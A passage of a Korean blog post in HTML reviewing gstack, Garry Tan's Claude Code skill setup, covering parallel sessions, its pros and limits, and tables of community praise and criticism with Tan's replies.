&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;세션별 로그와 상태가 &lt;b&gt;.gstack/ 디렉토리&lt;/b&gt;에 분리 저장&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;예: CEO 리뷰 세션 + 코드 리뷰 세션 + QA 세션을 동시에 병렬 실행&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;병렬 실행 시나리오 예시&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;새로운 기능을 개발할 때:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;세션 1&lt;/b&gt; &amp;mdash; /plan-ceo-review: &quot;이 기능이 정말 사용자에게 필요한가? 더 나은 대안은?&quot;&lt;br /&gt;&lt;b&gt;세션 2&lt;/b&gt; &amp;mdash; /plan-eng-review: 아키텍처 설계 및 데이터 플로우 작성&lt;br /&gt;&lt;b&gt;세션 3&lt;/b&gt; &amp;mdash; /review: 기존 코드베이스에서 영향받는 부분 분석&lt;br /&gt;&lt;b&gt;세션 4&lt;/b&gt; &amp;mdash; /qa: 현재 테스트 커버리지 확인 및 테스트 계획 수립&lt;br /&gt;&lt;br /&gt;이 4개 세션이 동시에 병렬로 실행되어, 혼자서도 팀처럼 일하는 것이 가능하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== Section 7: 장단점 ===== --&gt;
&lt;h2 id=&quot;section7&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 이 방식의 장점과 한계&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;장점&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;인지 모드 분리의 효과&lt;/b&gt;: 기획할 때는 기획자처럼, 리뷰할 때는 엔지니어처럼 사고하도록 강제함으로써 각 단계의 품질이 높아진다. &quot;범용 모드&quot;에서 발생하는 타협 없이 각 역할의 전문성을 최대한 끌어낸다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;일관성&lt;/b&gt;: 슬래시 커맨드 하나로 복잡한 워크플로우를 재현할 수 있다. 팀원이 바뀌어도, 시간이 지나도 동일한 프로세스를 따른다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;브라우저 자동화 통합&lt;/b&gt;: /browse와 /qa를 통해 실제 시각적 검증을 자동화할 수 있다. &quot;화면에 버튼이 보이는지 확인해줘&quot; 수준의 QA를 AI가 처리한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;Greptile 통합&lt;/b&gt;: 자동화된 코드 리뷰 도구를 트리아지하는 기능이 실전에서 매우 유용하다. 오탐지 필터링이 수동 리뷰 시간을 크게 줄인다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;검증된 생산성&lt;/b&gt;: Garry Tan 본인이 gstack으로 &lt;b&gt;일당 10,000~20,000 LOC&lt;/b&gt;를 파트타임으로 유지했다고 밝혔다. 주간 회고 기준 140,751줄 추가, 362 커밋, 약 115K net LOC를 기록했으며, 총 600,000줄 이상의 프로덕션 코드(35%가 테스트)를 작성했다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/garrytan/gstack/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;gstack README&lt;/a&gt; &amp;mdash; 자체 보고 수치)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;멀티 에이전트 지원&lt;/b&gt;: Claude Code 전용이 아닌, Codex&amp;middot;Gemini CLI&amp;middot;Cursor까지 지원하여 도구 종속성을 줄인다. &lt;code&gt;--host auto&lt;/code&gt; 플래그로 설치된 에이전트를 자동 감지한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;보안 스킬 내장&lt;/b&gt;: /cso(OWASP Top 10 + STRIDE), /careful, /freeze, /guard 등 안전 가드레일이 기본 내장되어 프로덕션 실수를 방지한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;오픈소스 + YC의 신뢰&lt;/b&gt;: MIT 라이선스, 56,000+ 스타(2026-03-30 기준), YC CEO가 실제 사용하는 셋업이라는 점에서 실전 검증이 된 방법론이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;한계 및 주의사항&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;진입 장벽&lt;/b&gt;: Bun 설치, 바이너리 컴파일, Claude Code 숙련도가 필요하다. 초보자에게는 어렵다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;Windows 제한적 지원&lt;/b&gt;: /browse 스킬은 macOS와 Linux에서 가장 안정적이다. Windows 11에서는 Git Bash 또는 WSL을 통해 사용 가능하나, Bun 버그(bun#4253)로 인해 Node.js가 추가로 필요하다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/garrytan/gstack/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;README&lt;/a&gt;)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;비용&lt;/b&gt;: 병렬 Claude Code 세션 실행은 API 비용이 빠르게 증가할 수 있다. gstack 자체 문서에서도 테스트 실행 비용을 명시적으로 언급한다 (eval 테스트 ~$4/회, E2E ~$3.85/회).&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;Conductor 의존성&lt;/b&gt;: 병렬 실행의 진정한 가치는 Conductor와 함께 사용해야 나온다. 별도 도구 학습이 필요하다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;영어 중심&lt;/b&gt;: 스킬 파일이 영어로 작성되어 있으며, 한국어 맥락에서의 최적화는 별도 커스터마이징이 필요할 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== Section 8: 커뮤니티 반응 ===== --&gt;
&lt;h2 id=&quot;section8&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 커뮤니티 반응 &amp;mdash; 찬사와 논쟁&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;1060&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/06MKg/dJMcahDQVRh/pNotPojpZjE9cO5RCAkRE1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/06MKg/dJMcahDQVRh/pNotPojpZjE9cO5RCAkRE1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/06MKg/dJMcahDQVRh/pNotPojpZjE9cO5RCAkRE1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F06MKg%2FdJMcahDQVRh%2FpNotPojpZjE9cO5RCAkRE1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1968&quot; height=&quot;1060&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;1060&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack은 2026년 3월 공개 이후 &lt;b&gt;48시간 만에 GitHub 스타 10,000개&lt;/b&gt;를 돌파하며 역대 가장 빠르게 성장한 개발 도구 중 하나가 되었다. 동시에 뜨거운 찬반 논쟁도 불러일으켰다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;TechCrunch가 &quot;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://techcrunch.com/2026/03/17/why-garry-tans-claude-code-setup-has-gotten-so-much-love-and-hate/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Why Garry Tan's Claude Code setup has gotten so much love, and hate&lt;/a&gt;&quot;이라는 제목으로 보도할 정도였다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;긍정적 반응&lt;/h3&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #28a745; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;출처&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;핵심 반응&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/garrytan/gstack&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;48시간 만에 10K+ 스타, 2주 만에 47,800+ 스타. 2026년 가장 빠른 개발 도구 성장 기록 (2026-03-26 기준)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://dev.to/_46ea277e677b888e0cd13/claude-code-vs-codex-2026-what-500-reddit-developers-really-think-31pb&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Reddit 500+ 개발자 종합 (Dev.to)&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&quot;install staff engineer brain&quot; &amp;mdash; 체크리스트 기반 사고방식을 빌려오는 느낌이라 주니어 개발자에게 특히 유용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.junia.ai/blog/garry-tan-claude-code-setup-gstack&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;보안 커뮤니티&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;구조화된 리뷰 스킬이 실제 XSS 취약점을 발견한 사례 보고. 사람이 놓칠 수 있는 미묘한 보안 결함 탐지 (출처: Junia AI 종합 분석)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://agentnativedev.medium.com/garry-tans-gstack-running-claude-like-an-engineering-team-392f1bd38085&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;스타트업 생태계&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;워크플로우 표준화 도구로서의 가치 인정. 팀원마다 AI 활용 격차가 큰 문제(&quot;같은 AI인데 왜 결과가 다르지?&quot;)를 해결 (출처: Agent Native Medium)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.producthunt.com/products/gstack&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Product Hunt&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;#3 Day Rank, 457 업보트. &quot;persistent browser daemon이 진짜 기술적 기여&quot;라는 평가 (출처: Product Hunt 직접 조회, 2026-03-26)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://news.ycombinator.com/item?id=47355173&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hacker News&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;계획 리뷰와 코드 리뷰를 분리하는 설계가 아키텍처적으로 건전하다는 평가. &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://news.ycombinator.com/item?id=47427688&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;gstack++ C++ 포크&lt;/a&gt;가 등장할 정도로 커뮤니티 확장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.threads.com/@choi.openai/post/DWNOR9dEdP_&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;한국 Threads&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;@choi.openai, @github.awesome 등 한국 AI 인플루언서들이 설치 가이드 공유. &quot;코딩 전에 두 개의 플래닝 스킬을 먼저 사용하는 구조&quot;에 주목&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://news.hada.io/topic?id=27756&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GeekNews (긱뉴스)&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&quot;Claude Code로 만드는 가상 엔지니어링 팀&quot;으로 소개. 한국 개발자 커뮤니티에서 적극적 수용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://x.com/tvytlx/status/2035561750704320771&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Xiao Tan (X.com)&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&quot;제 사소한 피드백이 실제로 반영될 줄 몰랐다. small indie founders에게 스타트업 멘토가 생긴 것 같다.&quot; &amp;mdash; /office-hours를 더 엄격하게 해달라는 중국 커뮤니티 피드백이 실제 업데이트로 이어진 사례. 오픈소스 커뮤니티 피드백 루프의 실제 작동을 보여줌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://x.com/garrytan/status/2033020984093978930&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Garry Tan (X.com &amp;mdash; Python 에이전트 지원)&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&quot;It works with any python agent! Neat. Had no idea.&quot; &amp;mdash; Hacker News 토론에서 Claude Code 전용 여부 질문 후 Garry Tan이 직접 확인. gstack은 SKILL.md 표준을 따르는 모든 Python 에이전트에서 작동 (출처: Garry Tan X.com 직접 발언)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;부정적 반응 / 비판&lt;/h3&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #dc3545; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;출처&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;핵심 비판&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://cryptorank.io/news/feed/4fcf8-garry-tan-claude-code-gstack&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Mo Bitar (개발자/블로거)&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&quot;결국 텍스트 파일에 담긴 프롬프트 모음&quot; &amp;mdash; 이미 Claude Code 사용자 다수가 자체적으로 만들어 쓰던 것과 다르지 않다 (출처: CryptoRank 종합 보도)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://dev.to/_46ea277e677b888e0cd13/claude-code-vs-codex-2026-what-500-reddit-developers-really-think-31pb&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Reddit/HN 회의론자&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;YC CEO라는 지위가 도구의 독창성이 아닌 가시성을 만들었다는 비판. &quot;같은 걸 무명 개발자가 올렸으면 100 스타도 못 받았을 것&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://medium.com/@luongnv89/gstack-is-not-a-dev-tool-its-garry-tan-s-brain-on-ai-b813e09b32c7&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;시니어 엔지니어 그룹&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&quot;시니어 판단력의 환상을 만든다&quot; &amp;mdash; 실제 이해 없이 체크리스트만 따르면 위험할 수 있다는 우려 (출처: Luong Nguyen Medium 분석)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.sitepoint.com/gstack-garry-tan-claude-code/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;비용 우려&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;병렬 세션 실행 시 API 비용이 빠르게 증가. 개인 개발자에게는 부담스러울 수 있다 (출처: SitePoint 튜토리얼)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.producthunt.com/products/gstack&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Product Hunt (Sherveen Mashayekhi)&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&quot;YC CEO가 아니었으면 PH에 올라오지도 못했을 것&quot; &amp;mdash; Free Agency 창업자의 직접적 비판&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://medium.com/@ml_artist/the-ceo-who-called-ai-god-mode-and-the-study-that-proved-him-right-in-the-wrong-way-576efa2792e5&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;AI Sycophancy 논쟁&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&quot;전문가에게는 속도를 높이고, 초보자에게는 전문가인 듯한 착각을 만든다&quot; &amp;mdash; 3,000명 참가 연구에서 AI 챗봇이 과신을 증가시킨다는 결과를 gstack에 적용한 분석&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://news.ycombinator.com/item?id=47355173&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hacker News &amp;mdash; 에이전트 루프 버그 사례&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&quot;에이전트가 70분간 루프에 빠져 스테이징 URL을 프로덕션 설정 파일에 반복 주입했다&quot; &amp;mdash; 자동화 스킬 사용 시 의도치 않은 파괴적 동작 가능성을 경고한 HN 댓글. gstack의 /careful&amp;middot;/freeze 가드레일이 필요한 이유를 역설적으로 보여주는 사례 (출처: HN item#47355173 댓글)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://news.ycombinator.com/item?id=47355173&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hacker News &amp;mdash; CTO 해고 역설론&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&quot;AI 프롬프트 셋이 CTO보다 먼저 XSS 취약점을 발견했다면, 그 CTO는 해고되어야 한다&quot; &amp;mdash; Garry Tan의 CTO 친구가 gstack으로 XSS를 발견했다는 에피소드에 대한 역설적 반박. AI가 보완재가 아닌 대체재가 되는 상황에 대한 불편한 질문&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Reddit / HN &amp;mdash; LOC 지표 비판&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&quot;600,000줄 코드로 무엇을 만들었나?&quot; &amp;mdash; LOC(코드 줄 수)는 나쁜 성과 지표라는 오랜 공학 원칙을 들어, Garry Tan의 생산성 수치 자랑 자체를 문제 삼는 비판. AI가 생성하는 보일러플레이트 코드가 LOC를 인위적으로 부풀린다는 우려 포함&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Garry Tan의 대응&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;비판에 대해 Garry Tan은 직접 반박했다. &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://x.com/garrytan/status/2034329586008498680&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&quot;This is exactly why I released gstack. Rather than assume I'm doing it wrong, how about you try and see it work for you. I'll give you a money back guarantee, which is easy because it's free open source.&quot;&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(이것이&amp;nbsp;바로&amp;nbsp;내가&amp;nbsp;gstack을&amp;nbsp;공개한&amp;nbsp;이유다.&amp;nbsp;내가&amp;nbsp;잘못하고&amp;nbsp;있다고&amp;nbsp;단정하기보다는,&amp;nbsp;직접&amp;nbsp;사용해보고&amp;nbsp;너에게도&amp;nbsp;잘&amp;nbsp;맞는지&amp;nbsp;확인해보는&amp;nbsp;건&amp;nbsp;어떨까?&amp;nbsp;환불&amp;nbsp;보장(money&amp;nbsp;back&amp;nbsp;guarantee)도&amp;nbsp;해줄게&amp;nbsp;&amp;mdash;&amp;nbsp;물론&amp;nbsp;무료&amp;nbsp;오픈소스(free&amp;nbsp;open&amp;nbsp;source)라서&amp;nbsp;환불도&amp;nbsp;아주&amp;nbsp;쉽지만&amp;nbsp;말이야.)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;중국 커뮤니티의 피드백은 실제 기능 개선으로 이어졌다 &amp;mdash; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://x.com/garrytan/status/2035505922056085620&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&quot;Chinese Twitter said that /office-hours in gstack was not hard enough on founders, so I made them harder.&quot;&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(&amp;ldquo;중국&amp;nbsp;트위터에서&amp;nbsp;gstack의&amp;nbsp;/office-hours&amp;nbsp;기능이&amp;nbsp;창업자들에게&amp;nbsp;충분히&amp;nbsp;엄격하지&amp;nbsp;않다고&amp;nbsp;하길래,&amp;nbsp;그래서&amp;nbsp;나는&amp;nbsp;그것을&amp;nbsp;더&amp;nbsp;빡세게&amp;nbsp;만들었다.&amp;rdquo;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Garry Tan의 주목할 만한 추가 발언&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;공개 이후 Garry Tan은 X.com에서 gstack의 맥락을 이해하는 데 중요한 발언들을 추가로 남겼다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f7ff; padding: 18px 20px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 15px 0;&quot;&gt;&lt;b&gt;&quot;GStack은 실제 YC 배치의 10%에 불과하다&quot;&lt;/b&gt;
